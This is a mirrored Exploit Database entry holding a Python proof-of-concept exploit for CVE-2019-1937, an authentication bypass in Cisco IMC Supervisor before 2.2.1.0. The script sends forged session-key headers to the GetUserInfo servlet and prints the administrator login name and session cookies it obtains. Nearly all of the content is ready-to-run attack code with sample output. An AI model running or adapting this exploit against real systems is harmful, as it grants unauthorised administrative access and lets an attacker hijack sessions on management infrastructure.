Cisco UCS-IMC Supervisor 2.2.0.0 – Authentication Bypass

• Exploit Database
• 150 阅读

• 作者： Fatih Sencer
  日期： 2023-07-15
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/51589/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65

  [+] Exploit Title: Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass [+] Cisco IMC Supervisor - < 2.2.1.0 [+] Date: 08/21/2019 [+] Affected Component: /app/ui/ClientServlet?apiName=GetUserInfo [+] Vendor: https://www.cisco.com/c/en/us/products/servers-unified-computing/integrated-management-controller-imc-supervisor/index.html [+] Vulnerability Discovery : Pedro Ribeiro [+] Exploit Author: Fatih Sencer [+] CVE: CVE-2019-1937 ----------------------------------------------------   Usage:   ./python3 CiscoIMC-Bypass.py -u host   [+] Target https://xxxxxx.com [+] Target OK [+] Exploit Succes [+] Login name : admin [+] Cookie : REACTED   """   import argparse,requests,warnings,base64,json,random,string from requests.packages.urllib3.exceptions import InsecureRequestWarning   warnings.simplefilter(&apos;ignore&apos;,InsecureRequestWarning)     def init(): parser = argparse.ArgumentParser(description=&apos;Cisco IMC Supervisor / Authentication Bypass&apos;) parser.add_argument(&apos;-u&apos;,&apos;--host&apos;,help=&apos;Host&apos;, type=str, required=True) args = parser.parse_args() exploit(args)   def exploit(args): session = requests.Session() headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4)", "X-Requested-With": "XMLHttpRequest", "Referer":"https://{}/".format(args.host), "X-Starship-UserSession-Key": &apos;&apos;.join(random.choices(string.ascii_uppercase + string.digits, k=10)), "X-Starship-Request-Key": &apos;&apos;.join(random.choices(string.ascii_uppercase + string.digits, k=10)) } target = "https://{}/app/ui/ClientServlet?apiName=GetUserInfo".format(args.host) print("[+] Target {}".format(args.host))   exp_send = session.get(target, headers=headers, verify=False, timeout=10)   if exp_send.status_code == 200: print("[+] Target OK") body_data = json.loads(exp_send.text) if not (body_data.get(&apos;loginName&apos;) is None): print("[+] Exploit Succes") print("[+] Login name : {}".format(body_data.get(&apos;loginName&apos;))) print("[+] Cookie : {}".format(session.cookies.get_dict())) else: print("[-] Exploit Failed")   else: print("[-] N/A") exit()   if __name__ == "__main__": init()